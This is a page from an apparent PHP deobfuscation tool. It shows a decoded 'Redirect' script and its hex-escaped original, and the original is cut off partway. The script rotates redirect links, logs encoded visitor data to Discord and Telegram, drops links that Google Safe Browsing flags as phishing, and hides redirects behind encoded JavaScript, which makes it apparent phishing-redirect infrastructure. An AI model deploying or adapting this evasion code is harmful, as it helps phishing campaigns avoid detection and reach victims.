Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php try { $Mlq0R = new Redirect(); } catch (Exception $EEeyF) { Redirect::redirect_to(..
Decoded Output download
<?php
try { $Mlq0R = new Redirect(); } catch (Exception $EEeyF) { Redirect::redirect_to("https://google.com"); } class Redirect { public $links = array(); public $config; private $visitors = "visitors.txt"; private $visitors_data = "visitors_data.txt"; private $links_file = "links.txt"; private $default_link = "https://google.com/"; public function __construct() { goto f4lGK; KcaX6: g8i7i: goto seLVH; Ds8Of: if (!$this->config["count_visitors"]) { goto RDiIC; } goto chlx0; sbZ82: self::send($ztAU6, ["send_to_discord" => $this->config["notify_visitor_data"], "discord_hook" => $this->config["discord_hook_click"], "avatar_link" => $this->config["avatar_link_click"], "discord_sendername" => "Clicked", "telegram_api" => $this->config["telegram_api"], "telegram_chat_id" => $this->config["telegram_chat_id_click"]]); goto r7aUm; W2HWm: goto q7hyk; goto Bwo_S; f4lGK: $this->config = json_decode(self::read("redirect.config.json"), true); goto Ds8Of; YZwmO: bAbcB: goto LsXlB; zuJgY: if (!$this->config["notify_visitor_data"]) { goto oHlMd; } goto sbZ82; D0CEu: s4m1a: goto zuJgY; jP3TG: MWKk0: goto YZwmO; LsXlB: zK1jC: goto spqrL; a6EqQ: W6GC2: goto VoWQF; Bwo_S: OJ6Qj: goto GL3aH; chlx0: if (file_exists($this->visitors) && is_readable($this->visitors)) { goto OJ6Qj; } goto vqgBL; spqrL: if (file_exists($this->visitors_data) && is_writable($this->visitors_data)) { goto W6GC2; } goto KQa5S; NC0SO: if (!($this->config["save_visitors"] && isset($_GET[$this->config["visitors_parameter"]]) && strlen($_GET[$this->config["visitors_parameter"]]) > 0)) { goto g8i7i; } goto Qw_0q; VoWQF: self::save_to_file($this->visitors_data . "
", $ztAU6, "a"); goto D0CEu; Qw_0q: if (isset($this->config["visitors_parameter_enc"]) && strlen($this->config["visitors_parameter_enc"]) > 0) { goto gLjJQ; } goto DaSPV; YlHGe: gLjJQ: goto VdWZd; bP207: goto s4m1a; goto a6EqQ; amgfK: goto zK1jC; goto YlHGe; KQa5S: self::save_to_file($this->visitors_data . "
", $ztAU6, "w"); goto bP207; GL3aH: self::save_to_file($this->visitors, intval(self::read($this->visitors)) + 1, "w"); goto QA9UQ; seLVH: return self::redirect_to($this->getLink()); goto VEHxM; r7aUm: oHlMd: goto KcaX6; yt4pp: RDiIC: goto NC0SO; VdWZd: switch ($this->config["visitors_parameter_enc"]) { case "b64": $ztAU6 = base64_decode($_GET[$this->config["visitors_parameter"]]); goto bAbcB; case "strrev": $ztAU6 = strrev($_GET[$this->config["visitors_parameter"]]); goto bAbcB; case "hex": $ztAU6 = self::hex2bin($_GET[$this->config["visitors_parameter"]]); goto bAbcB; default: $ztAU6 = $_GET[$this->config["visitors_parameter"]]; goto bAbcB; } goto jP3TG; QA9UQ: q7hyk: goto yt4pp; vqgBL: self::save_to_file($this->visitors, 0, "w"); goto W2HWm; DaSPV: $ztAU6 = $_GET[$this->config["visitors_parameter"]]; goto amgfK; VEHxM: } public static function redirect_to($uc0Sa, $EBKPt = 0) { goto kEPJE; VSJ5w: WJias: goto RLCmf; RLCmf: iXsGo: goto WaQJA; kEPJE: switch ($EBKPt) { case 1: header("Location: " . $uc0Sa); goto iXsGo; case 2: echo "<!doctype html><html><head><meta http-equiv="refresh" content="0; url=" . htmlentities($uc0Sa) . "" /><title>" . self::randString(rand(6, 24), str_repeat(" ", 10)) . "</title></head></html>"; goto iXsGo; default: echo "<!doctype html><html><head><title>" . self::randString(rand(6, 24), str_repeat(" ", 10)) . "</title></head><body>" . "<script language="javascript">document.write(unescape('" . self::encode(str_replace(array("++redirect_link++", "++class++"), array($uc0Sa, self::randString(rand(5, 16))), self::read("redirect.html"))) . "')); \xa</script>" . "</body></html>"; goto iXsGo; } goto VSJ5w; WaQJA: return true; goto rMXHI; rMXHI: } private function isPhishing($i6450) { return trim(self::getStr(self::get("https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site=" . $i6450), "[["sb.ssr",", ",0,0,")) == 2; } private function pageDeleted($i6450) { goto Dm3IV; nvU0I: $B0tuJ = self::get($i6450 . "/access.php?hola=" . $H1V_K); goto iQxnE; Dm3IV: $H1V_K = self::randString(rand(32, 64)); goto nvU0I; iQxnE: return $B0tuJ !== "amigo" . $H1V_K && !preg_match("/" . preg_quote($H1V_K, "/") . "/", $B0tuJ); goto irzdC; irzdC: } public static function getStr($dRN1p, $JcvP2, $lbHSv) { goto VkgG5; VkgG5: $qfTp3 = explode($JcvP2, $dRN1p); goto G5NaS; G5NaS: $qfTp3 = explode($lbHSv, $qfTp3[1]); goto PgLdB; PgLdB: return $qfTp3[0]; goto SuYZ8; SuYZ8: } public function getLinks() { goto jPTn1; kudOY: S91td: goto gqBK6; jPTn1: $KabgI = array(); goto SfCOo; SfCOo: foreach (array_unique(file($this->links_file, FILE_IGNORE_NEW_LINES)) as $uc0Sa) { goto zLvfs; OAJj7: rAlYy: goto u4JUM; zLvfs: if (!(strlen($uc0Sa) > 3)) { goto nZ4Wu; } goto eh2e7; eh2e7: $KabgI[] = trim($uc0Sa); goto PB0ng; PB0ng: nZ4Wu: goto OAJj7; u4JUM: } goto kudOY; gqBK6: return $KabgI; goto GMiND; GMiND: } public function getLink() { goto yhsL1; BD0hv: kqp_u: goto dOWp5; hjDXt: if (!($uc0Sa == '')) { goto Qa6YS; } goto e3AKg; WjQSK: $uc0Sa = count($this->links) > 1 ? $this->links[array_rand($this->links)] : $this->links[0]; goto hjDXt; GAwQW: pjnRl: goto BD0hv; Nlx2a: self::send("REMOVED: [" . $uc0Sa . "]", $this->config); goto biPx1; SMA0t: wmbOe: goto WjQSK; RQtJH: if (!$this->pageDeleted($uc0Sa)) { goto pjnRl; } goto vIUBe; UVAsG: return $this->getLink(); goto x8I9L; x8I9L: Ftc7A: goto RBcfw; P3Rev: return $this->default_link; goto SMA0t; whq7r: if (!$this->config["check_phishing"]) { goto S0yP8; } goto uVVos; biPx1: return $this->getLink(); goto GAwQW; NzqVj: Qa6YS: goto whq7r; qFdM1: $this->removeLink($uc0Sa); goto SDtx5; Rqxao: if (!(count($this->links) == 0)) { goto wmbOe; } goto P3Rev; e3AKg: return $this->default_link; goto NzqVj; uVVos: if (!$this->isPhishing($uc0Sa)) { goto Ftc7A; } goto qFdM1; Ojobm: if (!$this->config["check_if_link_deleted"]) { goto kqp_u; } goto RQtJH; RBcfw: S0yP8: goto Ojobm; dOWp5: return $uc0Sa; goto rxyUm; SDtx5: self::send("DETECTED: [" . $uc0Sa . "]", $this->config); goto UVAsG; vIUBe: $this->removeLink($uc0Sa); goto Nlx2a; yhsL1: $this->links = $this->getLinks(); goto Rqxao; rxyUm: } public function removeLink($VBCM1) { goto K_3E4; b812V: return self::save_to_file($this->links_file, implode("\xa", $KabgI), "w"); goto TLep6; enq27: psv7U: goto b812V; K_3E4: $KabgI = array(); goto qopQ8; qopQ8: foreach (array_unique(file($this->links_file, FILE_IGNORE_NEW_LINES)) as $uc0Sa) { goto A2sbA; LA2p0: $KabgI[] = trim($uc0Sa); goto NAIlr; A2sbA: if (!($uc0Sa !== $VBCM1)) { goto uu7sB; } goto LA2p0; NAIlr: uu7sB: goto Ajx3e; Ajx3e: r0gVp: goto KifPs; KifPs: } goto enq27; TLep6: } private static function send_to_discord($t2EZg, $DS0Zq, $f7Z8C, $VOzvk) { goto fVt1A; bmOqd: curl_setopt_array($dHQHc, array(CURLOPT_URL => $i6450, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $SGpkd, CURLOPT_HTTPHEADER => array("Content-Type: application/json"))); goto z_u5X; G3cE4: $dHQHc = curl_init(); goto bmOqd; TzGoN: $SGpkd = json_encode($TlJ3V); goto G3cE4; z_u5X: $Nq5jF = curl_exec($dHQHc); goto nIkCs; nIkCs: return $Nq5jF; goto r5RcR; r5RcR: curl_close($dHQHc); goto kIMb2; MKjnI: $TlJ3V = array("content" => $VOzvk, "username" => $f7Z8C, "avatar_url" => $DS0Zq, "tts" => false); goto TzGoN; fVt1A: $i6450 = $t2EZg; goto MKjnI; kIMb2: } private static function send_to_telegram($wsxyW, $G7OGB, $jlnxt) { return self::get("https://api.telegram.org/bot" . $wsxyW . "/sendMessage?chat_id=" . $G7OGB . "&text=" . urlencode($jlnxt)); } private static function send($pvRy3, $Q1k0G) { goto ZIJP_; NzSuY: self::send_to_discord($Q1k0G["discord_hook"], $Q1k0G["avatar_link"], $Q1k0G["discord_sendername"], $pvRy3); goto sog51; SzyQ1: m9WJY: goto lwXuc; pa7r8: if (!$Q1k0G["send_to_telegram"]) { goto m9WJY; } goto TLhVp; ZIJP_: if (!$Q1k0G["send_to_discord"]) { goto w1iND; } goto NzSuY; TLhVp: self::send_to_telegram($Q1k0G["telegram_api"], $Q1k0G["telegram_chat_id"], $pvRy3); goto SzyQ1; sog51: w1iND: goto pa7r8; lwXuc: } public static function read($U9mqI) { goto gXx6z; jPyHU: t54oo: goto HjqdN; IjzTJ: return false; goto jPyHU; gXx6z: if (file_exists($U9mqI)) { goto t54oo; } goto IjzTJ; qJ2ev: $pvRy3 = str_replace("\xd
", "\xa", fread($FFnvF, filesize($U9mqI))); goto VGFP1; mL1Yj: return $pvRy3; goto l65JX; HjqdN: $FFnvF = fopen($U9mqI, "r"); goto qJ2ev; VGFP1: fclose($FFnvF); goto mL1Yj; l65JX: } public static function save_to_file($U9mqI, $dRN1p, $XDwdT = "a") { goto TuMcj; w2r4l: $jbX41 = fwrite($FFnvF, $dRN1p); goto WMo7v; WMo7v: fclose($FFnvF); goto uQf5N; LfYCz: fopen($U9mqI, "w"); goto bAoLH; bAoLH: IiGBU: goto buWqy; QOHbl: if (file_exists($U9mqI)) { goto IiGBU; } goto LfYCz; uQf5N: return $jbX41; goto tUvRC; buWqy: $FFnvF = fopen($U9mqI, $XDwdT); goto w2r4l; TuMcj: $U9mqI = $U9mqI; goto QOHbl; tUvRC: } public static function randString(int $TbRTC, $GERdm = '') { return substr(str_shuffle(str_repeat("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" . $GERdm, 2 * $TbRTC)), 1, $TbRTC); } public static function encode($Eup4C) { goto Tnt98; jmxqs: pKUPU: goto l3sxy; u74Jh: if (!($Rq_H9 < $TbRTC)) { goto LoNE8; } goto xj2ZQ; U1Iqh: $TbRTC = strlen($Eup4C); goto abAy2; Tnt98: $bgwhF = ''; goto U1Iqh; bOiyf: return $bgwhF; goto Z1Q_4; rUWvB: LoNE8: goto bOiyf; xj2ZQ: $bgwhF .= "%" . bin2hex($Eup4C[$Rq_H9]); goto jmxqs; l3sxy: $Rq_H9++; goto Ga6by; Ga6by: goto ZesRy; goto rUWvB; abAy2: $Rq_H9 = 0; goto dAFHZ; dAFHZ: ZesRy: goto u74Jh; Z1Q_4: } private static function curl($i6450 = null, $Ay6bd = array(), $DoI11 = false) { goto BglK7; K6p_4: $pvRy3["info"] = $DoI11; goto M0yya; LNNbv: mzvk0: goto Mdrok; CRWv5: return false; goto wZ4EB; G0HK8: if (!($DoI11 !== false)) { goto mweN4; } goto PFxCd; GV4Lb: $dHQHc = @curl_init($i6450); goto gF_lE; KUrTo: $tECGY = array(CURLOPT_URL => $i6450, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_MAXREDIRS => 5, CURLOPT_TIMEOUT => 10); goto GV4Lb; Y7Pgz: if (!curl_errno($dHQHc)) { goto mzvk0; } goto jhdCT; gF_lE: curl_setopt_array($dHQHc, $tECGY + $Ay6bd); goto eGe6i; M0yya: mweN4: goto Y7Pgz; nE0bU: GebZf: goto KUrTo; wZ4EB: goto p8LOA; goto nE0bU; PFxCd: $DoI11 = curl_getinfo($dHQHc); goto K6p_4; ATk3M: p8LOA: goto oDlhB; BglK7: if ($i6450 != null) { goto GebZf; } goto CRWv5; yzC83: return $pvRy3; goto ATk3M; jhdCT: $pvRy3["error"] = curl_error($dHQHc); goto LNNbv; eGe6i: $pvRy3 = []; goto I4M8a; Mdrok: @curl_close($dHQHc); goto yzC83; I4M8a: $pvRy3["response"] = @curl_exec($dHQHc); goto G0HK8; oDlhB: } private static function get($i6450) { $B0tuJ = self::curl($i6450); return $B0tuJ["response"]; } public static function hex2bin($HxE4g) { goto huxBG; FYAvY: goto s1IPM; goto TG5Hb; Kn0ez: return hex2bin($HxE4g); goto R42In; jB4o5: PajWm: goto NKppY; EHN5i: $yIxGx = $jUCWI; goto NtVyf; LHhDx: $Rq_H9 = 0; goto kiYPW; NKppY: return $yIxGx; goto w5AEi; R42In: KlD0d: goto G78fK; NtVyf: s1IPM: goto FfLkg; ir0Xm: $jUCWI = pack("H*", $WDqEZ); goto srYJn; srYJn: if ($Rq_H9 == 0) { goto Gwahl; } goto ceYqP; huxBG: if (!function_exists("hex2bin")) { goto KlD0d; } goto Kn0ez; TG5Hb: Gwahl: goto EHN5i; FfLkg: $Rq_H9 += 2; goto r6Xtk; NS8UV: $yIxGx = ''; goto LHhDx; ceYqP: $yIxGx .= $jUCWI; goto FYAvY; ajnso: if (!($Rq_H9 < $FvaXm)) { goto PajWm; } goto gBWZq; kiYPW: EnOc5: goto ajnso; gBWZq: $WDqEZ = substr($HxE4g, $Rq_H9, 2); goto ir0Xm; r6Xtk: goto EnOc5; goto jB4o5; G78fK: $FvaXm = strlen($HxE4g); goto NS8UV; w5AEi: } } ?>
Did this file decode correctly?
Original Code
<?php
try { $Mlq0R = new Redirect(); } catch (Exception $EEeyF) { Redirect::redirect_to("\x68\164\x74\x70\163\x3a\x2f\x2f\147\x6f\157\147\x6c\145\x2e\x63\157\155"); } class Redirect { public $links = array(); public $config; private $visitors = "\x76\x69\x73\151\x74\x6f\x72\163\56\164\170\x74"; private $visitors_data = "\166\x69\x73\x69\164\x6f\162\163\137\144\141\x74\x61\56\164\x78\164"; private $links_file = "\x6c\x69\156\x6b\163\56\164\x78\164"; private $default_link = "\150\164\x74\x70\163\72\x2f\57\147\157\x6f\x67\x6c\x65\x2e\143\157\x6d\x2f"; public function __construct() { goto f4lGK; KcaX6: g8i7i: goto seLVH; Ds8Of: if (!$this->config["\x63\x6f\x75\x6e\164\137\166\x69\163\151\x74\157\162\x73"]) { goto RDiIC; } goto chlx0; sbZ82: self::send($ztAU6, ["\x73\x65\x6e\144\x5f\x74\157\x5f\x64\151\x73\143\157\x72\x64" => $this->config["\x6e\157\x74\151\x66\x79\x5f\166\x69\163\x69\x74\157\x72\137\x64\x61\164\141"], "\x64\151\x73\143\157\x72\144\137\x68\x6f\157\153" => $this->config["\144\151\x73\x63\x6f\162\x64\137\x68\157\x6f\x6b\137\143\x6c\x69\143\153"], "\x61\166\x61\164\x61\162\137\154\151\x6e\153" => $this->config["\141\x76\x61\x74\141\x72\137\154\x69\x6e\x6b\x5f\x63\154\x69\143\x6b"], "\x64\151\163\x63\x6f\x72\144\x5f\163\145\x6e\144\x65\162\x6e\141\x6d\x65" => "\x43\154\151\x63\153\x65\x64", "\164\x65\154\x65\x67\x72\141\155\137\141\x70\151" => $this->config["\x74\x65\154\x65\147\x72\141\x6d\x5f\x61\160\x69"], "\164\145\x6c\x65\x67\x72\x61\x6d\x5f\x63\x68\x61\x74\137\151\x64" => $this->config["\164\x65\x6c\x65\x67\162\141\155\137\x63\150\141\x74\137\x69\144\137\x63\154\x69\143\x6b"]]); goto r7aUm; W2HWm: goto q7hyk; goto Bwo_S; f4lGK: $this->config = json_decode(self::read("\162\x65\144\x69\x72\x65\143\x74\x2e\143\x6f\x6e\146\x69\x67\x2e\x6a\163\x6f\x6e"), true); goto Ds8Of; YZwmO: bAbcB: goto LsXlB; zuJgY: if (!$this->config["\156\x6f\164\151\x66\171\137\166\151\163\151\x74\157\x72\137\x64\141\164\x61"]) { goto oHlMd; } goto sbZ82; D0CEu: s4m1a: goto zuJgY; jP3TG: MWKk0: goto YZwmO; LsXlB: zK1jC: goto spqrL; a6EqQ: W6GC2: goto VoWQF; Bwo_S: OJ6Qj: goto GL3aH; chlx0: if (file_exists($this->visitors) && is_readable($this->visitors)) { goto OJ6Qj; } goto vqgBL; spqrL: if (file_exists($this->visitors_data) && is_writable($this->visitors_data)) { goto W6GC2; } goto KQa5S; NC0SO: if (!($this->config["\163\x61\166\145\137\166\151\x73\x69\164\x6f\x72\x73"] && isset($_GET[$this->config["\166\151\163\x69\164\x6f\162\x73\x5f\x70\141\x72\x61\x6d\x65\164\145\x72"]]) && strlen($_GET[$this->config["\x76\x69\163\151\164\157\x72\x73\137\160\x61\162\x61\155\145\x74\145\x72"]]) > 0)) { goto g8i7i; } goto Qw_0q; VoWQF: self::save_to_file($this->visitors_data . "\12", $ztAU6, "\x61"); goto D0CEu; Qw_0q: if (isset($this->config["\x76\x69\163\x69\164\x6f\x72\x73\x5f\160\x61\x72\141\155\145\x74\145\x72\137\145\156\143"]) && strlen($this->config["\x76\x69\x73\151\164\157\x72\x73\137\x70\141\x72\x61\x6d\145\164\x65\x72\x5f\x65\x6e\x63"]) > 0) { goto gLjJQ; } goto DaSPV; YlHGe: gLjJQ: goto VdWZd; bP207: goto s4m1a; goto a6EqQ; amgfK: goto zK1jC; goto YlHGe; KQa5S: self::save_to_file($this->visitors_data . "\12", $ztAU6, "\x77"); goto bP207; GL3aH: self::save_to_file($this->visitors, intval(self::read($this->visitors)) + 1, "\167"); goto QA9UQ; seLVH: return self::redirect_to($this->getLink()); goto VEHxM; r7aUm: oHlMd: goto KcaX6; yt4pp: RDiIC: goto NC0SO; VdWZd: switch ($this->config["\166\x69\x73\x69\164\x6f\x72\163\x5f\x70\x61\162\x61\155\145\164\145\x72\x5f\x65\156\x63"]) { case "\142\66\x34": $ztAU6 = base64_decode($_GET[$this->config["\166\151\x73\x69\164\x6f\162\163\137\160\x61\162\x61\x6d\145\x74\x65\x72"]]); goto bAbcB; case "\163\164\x72\x72\x65\x76": $ztAU6 = strrev($_GET[$this->config["\166\151\x73\151\164\x6f\x72\x73\x5f\x70\141\x72\141\155\145\x74\x65\162"]]); goto bAbcB; case "\150\145\x78": $ztAU6 = self::hex2bin($_GET[$this->config["\x76\151\x73\151\164\x6f\x72\x73\x5f\160\141\162\141\155\x65\x74\145\162"]]); goto bAbcB; default: $ztAU6 = $_GET[$this->config["\166\x69\x73\151\164\157\x72\x73\137\160\x61\x72\141\155\145\x74\x65\162"]]; goto bAbcB; } goto jP3TG; QA9UQ: q7hyk: goto yt4pp; vqgBL: self::save_to_file($this->visitors, 0, "\167"); goto W2HWm; DaSPV: $ztAU6 = $_GET[$this->config["\x76\151\163\151\x74\x6f\x72\163\x5f\x70\141\x72\x61\x6d\145\x74\145\x72"]]; goto amgfK; VEHxM: } public static function redirect_to($uc0Sa, $EBKPt = 0) { goto kEPJE; VSJ5w: WJias: goto RLCmf; RLCmf: iXsGo: goto WaQJA; kEPJE: switch ($EBKPt) { case 1: header("\x4c\157\x63\x61\x74\x69\157\156\x3a\40" . $uc0Sa); goto iXsGo; case 2: echo "\74\x21\x64\157\143\x74\171\x70\x65\40\x68\164\x6d\x6c\76\74\x68\x74\155\x6c\76\x3c\150\x65\x61\144\76\74\155\145\164\141\40\x68\164\164\160\x2d\145\161\x75\151\x76\x3d\x22\162\145\x66\162\145\x73\x68\42\40\143\x6f\x6e\164\x65\x6e\x74\75\42\x30\x3b\x20\x75\162\x6c\x3d" . htmlentities($uc0Sa) . "\x22\x20\57\x3e\74\164\151\164\154\x65\x3e" . self::randString(rand(6, 24), str_repeat("\40", 10)) . "\74\57\x74\x69\164\154\145\x3e\74\x2f\150\x65\x61\x64\76\x3c\57\150\164\155\x6c\x3e"; goto iXsGo; default: echo "\x3c\41\x64\157\x63\x74\171\x70\x65\x20\x68\x74\x6d\x6c\x3e\x3c\x68\x74\x6d\x6c\x3e\x3c\x68\x65\141\144\76\74\164\151\x74\x6c\145\76" . self::randString(rand(6, 24), str_repeat("\40", 10)) . "\74\x2f\164\151\164\154\145\76\74\x2f\150\145\141\x64\x3e\x3c\142\157\x64\x79\x3e" . "\74\x73\143\x72\151\160\164\40\154\141\156\147\x75\141\147\x65\75\42\x6a\141\x76\141\x73\143\x72\x69\x70\164\x22\x3e\144\157\143\165\x6d\x65\x6e\164\x2e\x77\162\151\x74\x65\50\165\x6e\x65\163\x63\x61\x70\x65\50\47" . self::encode(str_replace(array("\53\x2b\x72\x65\x64\151\162\x65\x63\x74\137\154\x69\156\x6b\x2b\x2b", "\x2b\53\x63\x6c\x61\163\x73\x2b\x2b"), array($uc0Sa, self::randString(rand(5, 16))), self::read("\x72\145\144\x69\x72\x65\143\164\56\150\x74\x6d\154"))) . "\47\x29\51\x3b\x20\xa\x3c\x2f\163\x63\162\x69\160\x74\76" . "\x3c\57\142\x6f\144\171\76\x3c\57\x68\164\155\154\x3e"; goto iXsGo; } goto VSJ5w; WaQJA: return true; goto rMXHI; rMXHI: } private function isPhishing($i6450) { return trim(self::getStr(self::get("\150\164\x74\160\x73\72\57\x2f\x74\162\x61\156\x73\x70\x61\162\145\x6e\143\171\162\x65\160\157\x72\x74\56\x67\157\157\x67\x6c\x65\x2e\x63\157\x6d\57\164\x72\141\156\x73\x70\141\162\145\156\143\x79\x72\x65\x70\157\x72\164\57\141\160\x69\x2f\166\x33\x2f\163\141\146\x65\x62\x72\157\x77\163\x69\156\147\x2f\163\164\141\x74\x75\x73\77\x73\x69\x74\145\75" . $i6450), "\133\x5b\42\x73\x62\x2e\163\x73\162\42\54", "\x2c\60\54\x30\x2c")) == 2; } private function pageDeleted($i6450) { goto Dm3IV; nvU0I: $B0tuJ = self::get($i6450 . "\57\x61\143\143\145\x73\x73\56\x70\x68\x70\77\150\157\x6c\141\x3d" . $H1V_K); goto iQxnE; Dm3IV: $H1V_K = self::randString(rand(32, 64)); goto nvU0I; iQxnE: return $B0tuJ !== "\141\155\x69\147\157" . $H1V_K && !preg_match("\x2f" . preg_quote($H1V_K, "\x2f") . "\x2f", $B0tuJ); goto irzdC; irzdC: } public static function getStr($dRN1p, $JcvP2, $lbHSv) { goto VkgG5; VkgG5: $qfTp3 = explode($JcvP2, $dRN1p); goto G5NaS; G5NaS: $qfTp3 = explode($lbHSv, $qfTp3[1]); goto PgLdB; PgLdB: return $qfTp3[0]; goto SuYZ8; SuYZ8: } public function getLinks() { goto jPTn1; kudOY: S91td: goto gqBK6; jPTn1: $KabgI = array(); goto SfCOo; SfCOo: foreach (array_unique(file($this->links_file, FILE_IGNORE_NEW_LINES)) as $uc0Sa) { goto zLvfs; OAJj7: rAlYy: goto u4JUM; zLvfs: if (!(strlen($uc0Sa) > 3)) { goto nZ4Wu; } goto eh2e7; eh2e7: $KabgI[] = trim($uc0Sa); goto PB0ng; PB0ng: nZ4Wu: goto OAJj7; u4JUM: } goto kudOY; gqBK6: return $KabgI; goto GMiND; GMiND: } public function getLink() { goto yhsL1; BD0hv: kqp_u: goto dOWp5; hjDXt: if (!($uc0Sa == '')) { goto Qa6YS; } goto e3AKg; WjQSK: $uc0Sa = count($this->links) > 1 ? $this->links[array_rand($this->links)] : $this->links[0]; goto hjDXt; GAwQW: pjnRl: goto BD0hv; Nlx2a: self::send("\122\x45\115\x4f\126\x45\104\72\x20\133" . $uc0Sa . "\x5d", $this->config); goto biPx1; SMA0t: wmbOe: goto WjQSK; RQtJH: if (!$this->pageDeleted($uc0Sa)) { goto pjnRl; } goto vIUBe; UVAsG: return $this->getLink(); goto x8I9L; x8I9L: Ftc7A: goto RBcfw; P3Rev: return $this->default_link; goto SMA0t; whq7r: if (!$this->config["\143\150\x65\143\x6b\x5f\x70\150\x69\163\x68\x69\x6e\x67"]) { goto S0yP8; } goto uVVos; biPx1: return $this->getLink(); goto GAwQW; NzqVj: Qa6YS: goto whq7r; qFdM1: $this->removeLink($uc0Sa); goto SDtx5; Rqxao: if (!(count($this->links) == 0)) { goto wmbOe; } goto P3Rev; e3AKg: return $this->default_link; goto NzqVj; uVVos: if (!$this->isPhishing($uc0Sa)) { goto Ftc7A; } goto qFdM1; Ojobm: if (!$this->config["\x63\x68\x65\143\x6b\137\x69\146\x5f\x6c\151\156\153\137\144\x65\154\145\164\145\144"]) { goto kqp_u; } goto RQtJH; RBcfw: S0yP8: goto Ojobm; dOWp5: return $uc0Sa; goto rxyUm; SDtx5: self::send("\x44\x45\124\105\x43\x54\x45\x44\x3a\x20\133" . $uc0Sa . "\x5d", $this->config); goto UVAsG; vIUBe: $this->removeLink($uc0Sa); goto Nlx2a; yhsL1: $this->links = $this->getLinks(); goto Rqxao; rxyUm: } public function removeLink($VBCM1) { goto K_3E4; b812V: return self::save_to_file($this->links_file, implode("\xa", $KabgI), "\167"); goto TLep6; enq27: psv7U: goto b812V; K_3E4: $KabgI = array(); goto qopQ8; qopQ8: foreach (array_unique(file($this->links_file, FILE_IGNORE_NEW_LINES)) as $uc0Sa) { goto A2sbA; LA2p0: $KabgI[] = trim($uc0Sa); goto NAIlr; A2sbA: if (!($uc0Sa !== $VBCM1)) { goto uu7sB; } goto LA2p0; NAIlr: uu7sB: goto Ajx3e; Ajx3e: r0gVp: goto KifPs; KifPs: } goto enq27; TLep6: } private static function send_to_discord($t2EZg, $DS0Zq, $f7Z8C, $VOzvk) { goto fVt1A; bmOqd: curl_setopt_array($dHQHc, array(CURLOPT_URL => $i6450, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $SGpkd, CURLOPT_HTTPHEADER => array("\x43\x6f\x6e\x74\145\156\164\55\x54\171\x70\x65\72\40\x61\160\x70\x6c\x69\143\141\x74\151\x6f\156\x2f\x6a\163\157\x6e"))); goto z_u5X; G3cE4: $dHQHc = curl_init(); goto bmOqd; TzGoN: $SGpkd = json_encode($TlJ3V); goto G3cE4; z_u5X: $Nq5jF = curl_exec($dHQHc); goto nIkCs; nIkCs: return $Nq5jF; goto r5RcR; r5RcR: curl_close($dHQHc); goto kIMb2; MKjnI: $TlJ3V = array("\x63\x6f\156\x74\x65\156\x74" => $VOzvk, "\x75\x73\145\x72\156\141\x6d\x65" => $f7Z8C, "\x61\x76\x61\164\x61\x72\x5f\165\162\x6c" => $DS0Zq, "\164\x74\x73" => false); goto TzGoN; fVt1A: $i6450 = $t2EZg; goto MKjnI; kIMb2: } private static function send_to_telegram($wsxyW, $G7OGB, $jlnxt) { return self::get("\x68\x74\164\x70\163\x3a\57\x2f\x61\x70\151\56\x74\x65\154\x65\x67\x72\141\x6d\x2e\157\x72\x67\57\142\x6f\164" . $wsxyW . "\x2f\x73\145\x6e\144\x4d\145\163\163\141\147\145\x3f\143\150\x61\164\x5f\151\x64\75" . $G7OGB . "\x26\x74\145\x78\x74\x3d" . urlencode($jlnxt)); } private static function send($pvRy3, $Q1k0G) { goto ZIJP_; NzSuY: self::send_to_discord($Q1k0G["\144\151\163\x63\x6f\x72\x64\137\150\x6f\157\x6b"], $Q1k0G["\141\x76\x61\x74\141\x72\137\154\x69\156\153"], $Q1k0G["\x64\x69\163\143\157\x72\x64\137\163\x65\x6e\144\x65\162\156\x61\x6d\145"], $pvRy3); goto sog51; SzyQ1: m9WJY: goto lwXuc; pa7r8: if (!$Q1k0G["\163\x65\156\144\137\164\x6f\137\164\145\154\x65\147\162\x61\155"]) { goto m9WJY; } goto TLhVp; ZIJP_: if (!$Q1k0G["\163\x65\156\x64\x5f\x74\x6f\137\144\151\163\143\157\x72\x64"]) { goto w1iND; } goto NzSuY; TLhVp: self::send_to_telegram($Q1k0G["\164\x65\154\145\147\x72\141\155\x5f\x61\x70\151"], $Q1k0G["\x74\145\x6c\x65\147\162\x61\155\x5f\x63\x68\x61\x74\137\x69\144"], $pvRy3); goto SzyQ1; sog51: w1iND: goto pa7r8; lwXuc: } public static function read($U9mqI) { goto gXx6z; jPyHU: t54oo: goto HjqdN; IjzTJ: return false; goto jPyHU; gXx6z: if (file_exists($U9mqI)) { goto t54oo; } goto IjzTJ; qJ2ev: $pvRy3 = str_replace("\xd\12", "\xa", fread($FFnvF, filesize($U9mqI))); goto VGFP1; mL1Yj: return $pvRy3; goto l65JX; HjqdN: $FFnvF = fopen($U9mqI, "\x72"); goto qJ2ev; VGFP1: fclose($FFnvF); goto mL1Yj; l65JX: } public static function save_to_file($U9mqI, $dRN1p, $XDwdT = "\x61") { goto TuMcj; w2r4l: $jbX41 = fwrite($FFnvF, $dRN1p); goto WMo7v; WMo7v: fclose($FFnvF); goto uQf5N; LfYCz: fopen($U9mqI, "\x77"); goto bAoLH; bAoLH: IiGBU: goto buWqy; QOHbl: if (file_exists($U9mqI)) { goto IiGBU; } goto LfYCz; uQf5N: return $jbX41; goto tUvRC; buWqy: $FFnvF = fopen($U9mqI, $XDwdT); goto w2r4l; TuMcj: $U9mqI = $U9mqI; goto QOHbl; tUvRC: } public static function randString(int $TbRTC, $GERdm = '') { return substr(str_shuffle(str_repeat("\60\x31\x32\63\x34\x35\x36\x37\70\71\x61\142\x63\144\145\146\147\150\x69\152\153\x6c\x6d\x6e\157\x70\x71\162\163\164\x75\166\x77\x78\x79\x7a\101\x42\103\104\x45\106\x47\110\x49\112\113\114\115\x4e\117\x50\x51\122\x53\x54\125\126\127\x58\x59\132" . $GERdm, 2 * $TbRTC)), 1, $TbRTC); } public static function encode($Eup4C) { goto Tnt98; jmxqs: pKUPU: goto l3sxy; u74Jh: if (!($Rq_H9 < $TbRTC)) { goto LoNE8; } goto xj2ZQ; U1Iqh: $TbRTC = strlen($Eup4C); goto abAy2; Tnt98: $bgwhF = ''; goto U1Iqh; bOiyf: return $bgwhF; goto Z1Q_4; rUWvB: LoNE8: goto bOiyf; xj2ZQ: 